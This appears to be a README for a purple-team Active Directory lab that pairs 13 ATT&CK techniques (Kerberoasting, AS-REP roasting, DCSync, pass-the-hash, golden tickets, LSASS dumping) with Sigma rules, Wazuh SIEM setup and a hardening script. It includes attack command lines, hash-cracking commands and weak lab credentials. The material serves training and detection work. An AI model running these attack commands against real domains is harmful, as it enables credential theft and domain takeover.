A Purple Team cybersecurity lab implementing 13 MITRE ATT&CK techniques
against Active Directory — with detection engineering, automated hardening, and Wazuh SIEM integration.
ADODL is a self-contained Active Directory attack and defence lab built to simulate realistic adversary behaviour against a Windows enterprise environment. The project covers the full kill chain — from initial access and credential theft through lateral movement to domain compromise — and pairs every offensive technique with a corresponding Sigma detection rule and hardening control.
Built on the MARVEL.local domain using the TCM Security PEH course topology, extended with:
- 13 documented ATT&CK techniques with working exploit scripts
- 8 Sigma detection rules (96%+ coverage, ~0.6% false positive rate)
- Wazuh SIEM integration via Docker on Kali Linux
- Automated hardening playbook with pre/post verification
┌────────────────────────────────────────────────────────────┐
│ MARVEL.local │
│ Subnet: 192.168.100.0/24 │
│ │
│ ┌──────────────────────┐ ┌───────────────────────────┐ │
│ │ HYDRA-DC │ │ PUNISHER (WS01) │ │
│ │ Windows Server 2022 │ │ Windows 11 │ │
│ │ 192.168.100.150 │ │ 192.168.100.110 │ │
│ │ Domain Controller │ │ fcastle — local admin │ │
│ └──────────────────────┘ └───────────────────────────┘ │
│ │
│ ┌──────────────────────┐ ┌───────────────────────────┐ │
│ │ SPIDERMAN (WS02) │ │ Kali Linux │ │
│ │ Windows 11 │ │ 192.168.100.100 │ │
│ │ 192.168.100.120 │ │ Attacker + Wazuh SIEM │ │
│ │ fcastle+pparker │ │ Dashboard: port 443 │ │
│ └──────────────────────┘ └───────────────────────────┘ │
└────────────────────────────────────────────────────────────┘
| Account | Full Name | Password | Vulnerability |
|---|---|---|---|
tstark |
Tony Stark | Password12345! |
Domain Admin |
SQLService |
SQL Service | MYpassword123# |
Kerberoastable (SPN) + DCSync rights |
fcastle |
Frank Castle | Password1 |
Low-priv · Local admin on PUNISHER + SPIDERMAN |
pparker |
Peter Parker | Password1 |
Low-priv · AS-REP Roastable · Local admin on SPIDERMAN |
Administrator (local) |
— | Password1! |
Same password on both workstations → Pass-the-Hash |
- DC (Windows Server 2022) with MARVEL.local domain created
- WS1 (PUNISHER) and WS2 (SPIDERMAN) joined to domain
- Kali Linux for attack tooling and SIEM
Set-ExecutionPolicy Bypass -Scope Process -Force
.\lab-setup\setup-dc.ps1Configures: AS-REP flag on pparker · DCSync rights for SQLService · GenericAll ACL (fcastle→pparker) · Advanced audit policies · Sysmon · Wazuh agent
Set-ExecutionPolicy Bypass -Scope Process -Force
.\lab-setup\setup-workstation.ps1# Official Wazuh single-node (recommended — handles TLS certs automatically)
git clone https://github.com/wazuh/wazuh-docker.git
cd wazuh-docker/single-node
docker-compose -f generate-indexer-certs.yml run --rm generator
docker-compose up -dDashboard: https://192.168.100.100:443 · Credentials: admin / SecretPassword
chmod +x lab-setup/setup-kali.sh
sudo ./lab-setup/setup-kali.sh
source /opt/adodl-venv/bin/activatePHASE 1 — Initial Access & Reconnaissance
├─ 01. Password Spraying (T1110.003) → fcastle:Password1 / pparker:Password1
└─ 02. BloodHound Enumeration (T1087) → Maps fcastle→pparker ACL, SQLService DCSync
PHASE 2 — Credential Access
├─ 03. Kerberoasting (T1558.003) → SQLService TGS hash → crack: MYpassword123#
├─ 04. AS-REP Roasting (T1558.004) → pparker hash (no creds needed) → crack: Password1
└─ 05. ACL Abuse (T1222.001) → fcastle resets pparker password (GenericAll)
PHASE 3 — Lateral Movement
├─ 06. LSASS Dump (T1003.001) → Extract fcastle NTLM hash from PUNISHER
├─ 07. Pass-the-Hash (T1550.002) → fcastle hash: PUNISHER → SPIDERMAN
└─ 08. WMI / PSRemoting (T1021.006) → Remote code execution on SPIDERMAN
PHASE 4 — Domain Compromise
├─ 09. DCSync (T1003.006) → SQLService dumps krbtgt + all hashes
└─ 10. Golden Ticket (T1558.001) → Forge eternal Domain Admin TGT
PHASE 5 — Persistence
└─ 11. GPO Abuse (T1484.001) → Domain-wide backdoor via Group Policy
PHASE 6 — Hardening & Verification
└─ 12–13. ad-hardening.ps1 → Mitigate all techniques, re-run to verify
| # | Script | Technique | MITRE ID |
|---|---|---|---|
| 1 | kerberoasting.py |
Kerberoasting → SQLService | T1558.003 |
| 2 | asreproast.py |
AS-REP Roasting → pparker | T1558.004 |
| 3 | pass_the_hash.py |
Pass-the-Hash → PUNISHER→SPIDERMAN | T1550.002 |
| 4 | dcsync.py |
DCSync → SQLService dumps krbtgt | T1003.006 |
| 5 | bloodhound_collect.py |
AD Enumeration & Path Mapping | T1087.002 |
| 6 | ntlm_relay.py |
NTLM Relay via Responder | T1557.001 |
| 7 | password_spray.py |
Password Spraying | T1110.003 |
| 8 | golden_ticket.ps1 |
Golden Ticket Forgery | T1558.001 |
| 9 | silver_ticket.ps1 |
Silver Ticket Forgery | T1558.002 |
| 10 | lateral_movement.ps1 |
WMI / PSRemoting Lateral Movement | T1021.006 |
| 11 | lsass_dump.ps1 |
LSASS Memory Dump (comsvcs LOLBin) | T1003.001 |
| 12 | acl_abuse.ps1 |
GenericAll ACL Exploitation | T1222.001 |
| 13 | gpo_abuse.ps1 |
GPO Modification for Persistence | T1484.001 |
| Rule File | Technique | Primary Events | Coverage |
|---|---|---|---|
kerberoasting_attack.yml |
Kerberoasting | 4769 (RC4 TGS) | 98% |
asreproast_detection.yml |
AS-REP Roasting | 4768 (PreAuth=0) | 95% |
dcsync_detection.yml |
DCSync | 4662 (DS-Replication) | 99% |
lsass_dump_detection.yml |
LSASS Dump | Sysmon 10 + 1 | 99% |
lateral_movement_detection.yml |
WMI / PSRemoting | Sysmon 1 + 3 | 95% |
pth_detection.yml |
Pass-the-Hash | 4624 (NTLM Type 3) | 90% |
password_spray_detection.yml |
Password Spray | 4625 (failed logon) | 99% |
bloodhound_detection.yml |
AD Enumeration | 4662 (LDAP flood) | 92% |
Overall detection coverage: ~96%
# Activate tools on Kali
source /opt/adodl-venv/bin/activate
# ── Credential Access ────────────────────────────────────────────────────
# Kerberoasting (request SQLService TGS ticket)
python3 attack-scripts/kerberoasting.py \
-d MARVEL.local -u fcastle -p 'Password1' --dc-ip 192.168.100.150
# Crack
hashcat -m 13100 kerb_hashes.txt /usr/share/wordlists/rockyou.txt
# AS-REP Roasting (no creds required for pparker)
python3 attack-scripts/asreproast.py --dc-ip 192.168.100.150
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt
# ── Enumeration ──────────────────────────────────────────────────────────
python3 attack-scripts/bloodhound_collect.py \
-d MARVEL.local -u fcastle -p 'Password1' --dc-ip 192.168.100.150
# ── Privilege Escalation ─────────────────────────────────────────────────
# DCSync using SQLService (cracked from Kerberoasting)
python3 attack-scripts/dcsync.py --dc-ip 192.168.100.150
# ── Lateral Movement ─────────────────────────────────────────────────────
# Pass-the-Hash: fcastle from PUNISHER to SPIDERMAN
python3 attack-scripts/pass_the_hash.py \
--target 192.168.100.120 --hash aad3b435b51404eeaad3b435b51404ee:<NT_HASH>
# ── Detection Check ──────────────────────────────────────────────────────
# Show what Wazuh should alert on without running the attack
python3 attack-scripts/kerberoasting.py --detection-only# Run on HYDRA-DC after completing all attack exercises
.\hardening\ad-hardening.ps1
# Mitigations applied:
# AES-256 enforced on SQLService (Kerberoasting mitigation)
# Pre-auth re-enabled on pparker (AS-REP mitigation)
# DCSync rights removed from SQLService
# LSASS PPL + Credential Guard enabled
# SMB signing required (NTLM relay mitigation)
# LLMNR + NetBIOS disabled
# Fine-grained lockout policy for Domain Admins
# Windows Defender re-enabledADODL/
├── README.md
├── docker-compose.yml ← Wazuh SIEM stack (run on Kali)
│
├── lab-setup/
│ ├── LAB_CONFIG.ps1 ← Single config: IPs, passwords, domain
│ ├── setup-dc.ps1 ← DC vulnerability configuration
│ ├── setup-workstation.ps1 ← PUNISHER + SPIDERMAN setup
│ ├── setup-kali.sh ← Kali tools + Wazuh startup
│ └── sysmon-config.xml ← Sysmon detection config
│
├── attack-scripts/
│ ├── kerberoasting.py ← T1558.003
│ ├── asreproast.py ← T1558.004
│ ├── pass_the_hash.py ← T1550.002
│ ├── dcsync.py ← T1003.006
│ ├── bloodhound_collect.py ← T1087.002
│ ├── ntlm_relay.py ← T1557.001
│ ├── password_spray.py ← T1110.003
│ ├── golden_ticket.ps1 ← T1558.001
│ ├── silver_ticket.ps1 ← T1558.002
│ ├── lateral_movement.ps1 ← T1021.006
│ ├── lsass_dump.ps1 ← T1003.001
│ ├── acl_abuse.ps1 ← T1222.001
│ └── gpo_abuse.ps1 ← T1484.001
│
├── detection-rules/sigma-rules/ ← 8 Sigma YAML detection rules
│
├── hardening/
│ └── ad-hardening.ps1 ← Mitigates all 13 techniques
│
└── documentation/
├── ATTACK_PLAYBOOK.md ← Step-by-step attack walkthroughs
└── DETECTION_MATRIX.md ← Coverage table + Splunk SPL queries
Authorised, isolated lab use only. All machines must be on a private, closed network.
Never use these scripts against systems you do not own or have explicit written authorisation to test.
Unauthorised access is a criminal offence under the Computer Fraud and Abuse Act (CFAA) and
equivalent legislation worldwide.
MITRE ATT&CK · Impacket · BloodHound · Sigma Project · Wazuh · TCM Security